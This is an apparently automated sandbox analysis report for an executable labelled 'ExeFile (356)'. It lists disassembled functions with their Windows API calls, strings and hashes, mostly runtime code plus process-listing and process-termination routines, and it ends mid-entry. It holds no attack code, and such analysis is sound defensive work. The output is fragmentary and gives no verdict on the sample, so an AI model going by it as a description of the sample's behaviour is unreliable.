Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 005F689E Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_ExeFile (356).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 00413A77 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004109B8), ref: 00413A7F
__mtterm.LIBCMT ref: 00413A8B

Part of subcall function 004137C4: DecodePointer.KERNEL32(00000006,00413BED,?,004109B8), ref: 004137D5
Part of subcall function 004137C4: TlsFree.KERNEL32(00000004,00413BED,?,004109B8), ref: 004137EF
Part of subcall function 004137C4: DeleteCriticalSection.KERNEL32(00000000,00000000,77385810,?,00413BED,?,004109B8), ref: 00414742
Part of subcall function 004137C4: _free.LIBCMT ref: 00414745
Part of subcall function 004137C4: DeleteCriticalSection.KERNEL32(00000004,77385810,?,00413BED,?,004109B8), ref: 0041476C

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00413AA1
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00413AAE
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00413ABB
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00413AC8
TlsAlloc.KERNEL32(?,004109B8), ref: 00413B18
TlsSetValue.KERNEL32(00000000,?,004109B8), ref: 00413B33
__init_pointers.LIBCMT ref: 00413B3D
EncodePointer.KERNEL32(?,004109B8), ref: 00413B4E
EncodePointer.KERNEL32(?,004109B8), ref: 00413B5B
EncodePointer.KERNEL32(?,004109B8), ref: 00413B68
EncodePointer.KERNEL32(?,004109B8), ref: 00413B75
DecodePointer.KERNEL32(00413948,?,004109B8), ref: 00413B96
__calloc_crt.LIBCMT ref: 00413BAB
DecodePointer.KERNEL32(00000000,?,004109B8), ref: 00413BC5
GetCurrentThreadId.KERNEL32 ref: 00413BD7

Strings

FlsGetValue, xrefs: 00413AA3
FlsFree, xrefs: 00413ABD
FlsAlloc, xrefs: 00413A9B
FlsSetValue, xrefs: 00413AB0
KERNEL32.DLL, xrefs: 00413A7A

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: 7fa4eb56ef05f7034d1ff1bbb87a14009720894ebe7a7eebfb30a0a54c149666
Instruction ID: b88612f9e2fa8c258af8cfdc3785799afccaa31c7b0e2b814971bbd95b978274
Opcode Fuzzy Hash: 7fa4eb56ef05f7034d1ff1bbb87a14009720894ebe7a7eebfb30a0a54c149666
Instruction Fuzzy Hash: 9E31B370904215ABD710AFB9FD096E63FF0AB48765710843BE815D32B1E7799986CF8C

Function 0040F7B0 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 190windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0040F8A1
ShowWindow.USER32(00000000,00000001), ref: 0040F8BA
SendMessageW.USER32(00000000,0000100C,000000FF,00000002), ref: 0040F901
wsprintfW.USER32 ref: 0040F92B
MessageBoxW.USER32(00000000,System process can't been terminated!,Windows Notification,00000000), ref: 0040F956
SendMessageW.USER32(00000000,0000100C,00000000,00000002), ref: 0040F96B
DefWindowProcW.USER32(?,?,?,?), ref: 0040FA5F

Strings

View All Processes, xrefs: 0040F991
View My Processes, xrefs: 0040F9AC
iPos=%d, xrefs: 0040F925
The application name can't be found. Please make sure whether the name is right!, xrefs: 0040F9F9
System process can't been terminated!, xrefs: 0040F950
Windows Notification, xrefs: 0040F94B, 0040F9F4

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: Message$SendWindow$PostProcQuitShowwsprintf
String ID: System process can't been terminated!$The application name can't be found. Please make sure whether the name is right!$View All Processes$View My Processes$Windows Notification$iPos=%d
API String ID: 4014529712-140908480
Opcode ID: 746f52bec132f143904a4d114beca3bddeb3b89a76c870e33d9bf59fe38b171c
Instruction ID: b9e1b8610fbedb75af30f79fd81a6c46aadfc3012c35c013c55d51da3f45cb0f
Opcode Fuzzy Hash: 746f52bec132f143904a4d114beca3bddeb3b89a76c870e33d9bf59fe38b171c
Instruction Fuzzy Hash: 8061E7B2610201FBD734AB64EC59BE733A4A788300F14893BE556B76D0E738AC4D8B5D

Function 0040E800 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 76windowCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040E834
wsprintfW.USER32 ref: 0040E848
wsprintfW.USER32 ref: 0040E85C
wsprintfW.USER32 ref: 0040E870
wsprintfW.USER32 ref: 0040E884
SendMessageW.USER32(?,?,?,00001061), ref: 0040E8EF

Strings

Memory, xrefs: 0040E85E
Process ID, xrefs: 0040E825
d, xrefs: 0040E8DF
Description, xrefs: 0040E872
User Name, xrefs: 0040E84A
Process Name, xrefs: 0040E836

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: wsprintf$MessageSend
String ID: Description$Memory$Process ID$Process Name$User Name$d
API String ID: 12235790-2901759098
Opcode ID: e5dbcb87020978b1e542e2b3685ea65f06ad9b3c102300a686b14875117c4917
Instruction ID: 279726ffbfae14383190c6c753e1979e50f314c5c8a28d2d91e27df4f51d6de9
Opcode Fuzzy Hash: e5dbcb87020978b1e542e2b3685ea65f06ad9b3c102300a686b14875117c4917
Instruction Fuzzy Hash: 772161B1A48340AFC360CF65C895B9BBBE4EB89704F504D2FF08893240D7B99945CF9A

Function 0040E2A0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 128COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32 ref: 0040E2D4
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,0000012C,?), ref: 0040E2FF
CloseHandle.KERNEL32(?), ref: 0040E35E
wsprintfW.USER32 ref: 0040E3AE
wsprintfW.USER32 ref: 0040E3CD
wsprintfW.USER32 ref: 0040E3E4

Strings

LookupAccountSid, xrefs: 0040E348
%s %s, xrefs: 0040E3A8
GetTokenInformation, xrefs: 0040E309
OpenProcessToken, xrefs: 0040E2DE

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: wsprintf$Token$CloseHandleInformationOpenProcess
String ID: %s %s$GetTokenInformation$LookupAccountSid$OpenProcessToken
API String ID: 2594950064-3173787032
Opcode ID: e7827d6f24756a15ea7fd67e0d12da55e7482696f9941f31bcf56fd5c500a86e
Instruction ID: affa38bc1eb5f0fd5749b03f1417e1fb464e194ef1bd6555a84b7e3c49497071
Opcode Fuzzy Hash: e7827d6f24756a15ea7fd67e0d12da55e7482696f9941f31bcf56fd5c500a86e
Instruction Fuzzy Hash: C741A371508301ABE720CF25C845BEB77E8ABC8744F044D2EF88993291E778A955CB9A

Function 0040E4B0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 153COMMON

Download Yara Rule

APIs

QueryFullProcessImageNameW.KERNEL32 ref: 0040E4F3

Part of subcall function 0040E170: GetLastError.KERNEL32 ref: 0040E18D
Part of subcall function 0040E170: FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0040E536
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 0040E577
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,00000000,00000000), ref: 0040E594
wsprintfW.USER32 ref: 0040E5C3
VerQueryValueW.VERSION(00000000,?,?,?,?,?,00000000,00000000), ref: 0040E5DC
_wcsncpy.LIBCMT ref: 0040E652

Strings

\StringFileInfo\%04X%04X\FileDescription, xrefs: 0040E5BD
\VarFileInfo\Translation, xrefs: 0040E58E
QueryFullProcessImageName, xrefs: 0040E4FD

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: Query$FileInfoValueVersion$ErrorFormatFullImageLastMessageNameProcessSize_wcsncpywsprintf
String ID: QueryFullProcessImageName$\StringFileInfo\%04X%04X\FileDescription$\VarFileInfo\Translation
API String ID: 3020331544-1601958718
Opcode ID: 717397a408e92381d84000f1c6290437c4a0c9b5022d2bdde5cfeda8ea2e2501
Instruction ID: eaa9ef88b69fa93d3b711ac30ff6fc1bf7e9ecaf4ef91606315cd00198441a56
Opcode Fuzzy Hash: 717397a408e92381d84000f1c6290437c4a0c9b5022d2bdde5cfeda8ea2e2501
Instruction Fuzzy Hash: F14119725043016BD324EB22DC45FBB73E8AF98744F444D3EF849922D1EA79D908C76A

Function 020E14A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 020E14DB
SetLastError.KERNEL32(0000007F), ref: 020E1507

Memory Dump Source

Source File: 00000000.00000002.2389523241.00000000020E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20e1000_ExeFile (356).jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 572edad0e6a7003d4b6a09a2481ca24e2fc325748b3e5ba5c9a858bfadb08a85
Instruction ID: 47e2216d65cba6e9897770bd83dc728bff5c2615ee91574a75403075f9f1f1b5
Opcode Fuzzy Hash: 572edad0e6a7003d4b6a09a2481ca24e2fc325748b3e5ba5c9a858bfadb08a85
Instruction Fuzzy Hash: 4471C4B4E04209EFDF08DF94C591BADB7B2BF48304F248599D51AAB391D734AE81DB90

Function 0040E720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47processCOMMON

Download Yara Rule

APIs

__wcsdup.LIBCMT ref: 0040E729
_memset.LIBCMT ref: 0040E739
CreateProcessW.KERNEL32 ref: 0040E774
CloseHandle.KERNEL32(?), ref: 0040E78E
CloseHandle.KERNEL32(?), ref: 0040E795

Strings

D, xrefs: 0040E76C

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: CloseHandle$CreateProcess__wcsdup_memset
String ID: D
API String ID: 169418676-2746444292
Opcode ID: 85112b14f432fe8e92b2228129b8667fad4ace48c94bb840cbc2fdde4ee473de
Instruction ID: 0b47bd45ec23967565d9eba1f3cace27cbad009f0a552ed0d82179670a4d4d1e
Opcode Fuzzy Hash: 85112b14f432fe8e92b2228129b8667fad4ace48c94bb840cbc2fdde4ee473de
Instruction Fuzzy Hash: DB0167B15043006BD310EF69CD41B8B7BE9AF88B40F40891EF659D7240E7B9D9448B97

Function 00413801 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0041BDC8,00000008,00413909,00000000,00000000,?,?,00413936,?,00410F75,?,?,00412311,?,?), ref: 00413812
__lock.LIBCMT ref: 00413846

Part of subcall function 00414855: __mtinitlocknum.LIBCMT ref: 0041486B
Part of subcall function 00414855: __amsg_exit.LIBCMT ref: 00414877
Part of subcall function 00414855: EnterCriticalSection.KERNEL32(?,?,?,0041384B,0000000D), ref: 0041487F

InterlockedIncrement.KERNEL32(0041D6E0), ref: 00413853
__lock.LIBCMT ref: 00413867
___addlocaleref.LIBCMT ref: 00413885

Strings

KERNEL32.DLL, xrefs: 0041380D

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: 505229052a6e4527589a65c49ba15e4997feadab8069fec7672dd3e55b735240
Instruction ID: 08fdddae76046f13a4609d0da6d3235dc21c8c00c6474d33689b1c42df5d2c84
Opcode Fuzzy Hash: 505229052a6e4527589a65c49ba15e4997feadab8069fec7672dd3e55b735240
Instruction Fuzzy Hash: 2D016171941B00DBD720AF66D8067C9BBE0AF50329F20851FE499966A0CBB8A6C4CB19

Function 00412B32 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00412B53

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412B64
__getptd.LIBCMT ref: 00412B72

Strings

RCC, xrefs: 00412B3E
csm, xrefs: 00412B4C
MOC, xrefs: 00412B45

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC$csm
API String ID: 803148776-2671469338
Opcode ID: 66b2e007dd2f0717e7ab3a31a7d58449cee3c19ef04977a7d51ab5e99ac2dfe5
Instruction ID: 0f2876ffef59d3c6b375385131f6e652370e27b5964fd21b7b7078cf082998b9
Opcode Fuzzy Hash: 66b2e007dd2f0717e7ab3a31a7d58449cee3c19ef04977a7d51ab5e99ac2dfe5
Instruction Fuzzy Hash: 9AE0ED359186088EC724AF69C18ABE933A5EB44319F1510A7A44DCB223D7ACEAE0854A

Function 00412DE4 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 00412E0C

Part of subcall function 0041069A: __getptd.LIBCMT ref: 004106A8
Part of subcall function 0041069A: __getptd.LIBCMT ref: 004106B6

__getptd.LIBCMT ref: 00412E16

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412E24
__getptd.LIBCMT ref: 00412E32
__getptd.LIBCMT ref: 00412E3D
_CallCatchBlock2.LIBCMT ref: 00412E63

Part of subcall function 0041073F: __CallSettingFrame@12.LIBCMT ref: 0041078B

Part of subcall function 00412F0A: __getptd.LIBCMT ref: 00412F19
Part of subcall function 00412F0A: __getptd.LIBCMT ref: 00412F27

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 6c28b232d037bb653eeda2a51553b0eea48fe0f0670f77926a949ef858724b48
Instruction ID: 7569b259fc3e624cf5a97b96a7300a54ad765ced98981fdc73afb8e83ec2d13a
Opcode Fuzzy Hash: 6c28b232d037bb653eeda2a51553b0eea48fe0f0670f77926a949ef858724b48
Instruction Fuzzy Hash: C011E4B5D002099FDB00EFA5D986BED7BB0FF04315F10806AF854AB251DB789A919F58

Function 00414EB0 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00414EBC

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__amsg_exit.LIBCMT ref: 00414EDC
__lock.LIBCMT ref: 00414EEC
InterlockedDecrement.KERNEL32(?), ref: 00414F09
_free.LIBCMT ref: 00414F1C
InterlockedIncrement.KERNEL32(022D1660), ref: 00414F34

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: b789d6f6b5b18bbc2b778a8bb90bc3a3c2b1992aeab1e833d253d5039ca1afb1
Instruction ID: 34fd155b25c25adfe3620824084a2b0933ecb3f9ce2fde051769732d93a5196a
Opcode Fuzzy Hash: b789d6f6b5b18bbc2b778a8bb90bc3a3c2b1992aeab1e833d253d5039ca1afb1
Instruction Fuzzy Hash: 6F015B79E00721ABD711EF669805BDA7760BB44725F15801BE804A7391CB6CAEC2CBDD

Function 00413191 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004131A4

Part of subcall function 004130FF: ___BuildCatchObjectHelper.LIBCMT ref: 00413135

_UnwindNestedFrames.LIBCMT ref: 004131BB
___FrameUnwindToState.LIBCMT ref: 004131C9

Strings

csm, xrefs: 004131A0, 004131B5, 004131C8, 004131E6, 004131F6
csm, xrefs: 00413193

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 1cecf47bf90c724cacb334d80f1f1d72eb2c4336c93fda5b796e22f89546e134
Instruction ID: 9332ba3ff9db4df31153ad81b7ccdad3367009c071c3dcb25a55caf6b99e68f4
Opcode Fuzzy Hash: 1cecf47bf90c724cacb334d80f1f1d72eb2c4336c93fda5b796e22f89546e134
Instruction Fuzzy Hash: 6001FB7100110ABBDF126F51CC46EEB7F6AEF08355F044016BD1855121DB7AD9F1DBA9

Function 00415631 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041563D

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00415654
__amsg_exit.LIBCMT ref: 00415662
__lock.LIBCMT ref: 00415672
__updatetlocinfoEx_nolock.LIBCMT ref: 00415686

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: fd4680da6a23a9f95b296ef5c36f84049bab0c1c7715a6f47702f30f0234365f
Instruction ID: e348e55c111b0dd0511f345811d13424c8a431ddd757bbd9f2e15d6ba2996f08
Opcode Fuzzy Hash: fd4680da6a23a9f95b296ef5c36f84049bab0c1c7715a6f47702f30f0234365f
Instruction Fuzzy Hash: CBF09676940B10DBD721BB7698027CD3790AF40729F54411FF5489A2D6CB6C49C1CA9D

Function 0040F697 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040F6ED
Process32NextW.KERNEL32(?,?), ref: 0040F734
CloseHandle.KERNEL32(?), ref: 0040F746

Strings

%d K, xrefs: 0040F6E7

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: CloseHandleNextProcess32wsprintf
String ID: %d K
API String ID: 2912679758-2382126934
Opcode ID: 7ecdd1ab545dfd2d75c17a70661e833d6c69d2c6112979b4fa8608a3f9d8cbe6
Instruction ID: 9f36e5016d7a42e12b889a531ce412ab75a6dd073b82eecd34aa996bae1b5947
Opcode Fuzzy Hash: 7ecdd1ab545dfd2d75c17a70661e833d6c69d2c6112979b4fa8608a3f9d8cbe6
Instruction Fuzzy Hash: CA11827111830196C734AB599852BFBB3E8EFC4358F144C3EE886C3691FA7C940983AB

Function 0040F6B9 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040F6ED
Process32NextW.KERNEL32(?,?), ref: 0040F734
CloseHandle.KERNEL32(?), ref: 0040F746

Strings

%d K, xrefs: 0040F6E7

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: CloseHandleNextProcess32wsprintf
String ID: %d K
API String ID: 2912679758-2382126934
Opcode ID: 9982f50e09bbd1c2d9a7096a7c8064f1faae9819a40c8dc3b266ad468783cfba
Instruction ID: 51d71b27c4b37dd042226c9a40541835d3d141334fbcb817b22f35dada8c7e80
Opcode Fuzzy Hash: 9982f50e09bbd1c2d9a7096a7c8064f1faae9819a40c8dc3b266ad468783cfba
Instruction Fuzzy Hash: 1C01527110830196C734AB589852BFBB3E9EFC4354F044D3EF986C3681EA3C944887AB

Function 0040E6A0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000401,00000000,?), ref: 0040E6C6

Part of subcall function 0040E2A0: OpenProcessToken.ADVAPI32 ref: 0040E2D4
Part of subcall function 0040E2A0: CloseHandle.KERNEL32(?), ref: 0040E35E

TerminateProcess.KERNEL32(00000000,00000009), ref: 0040E6EE
CloseHandle.KERNEL32(00000000), ref: 0040E6FA

Strings

SYSTEM, xrefs: 0040E6D9

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
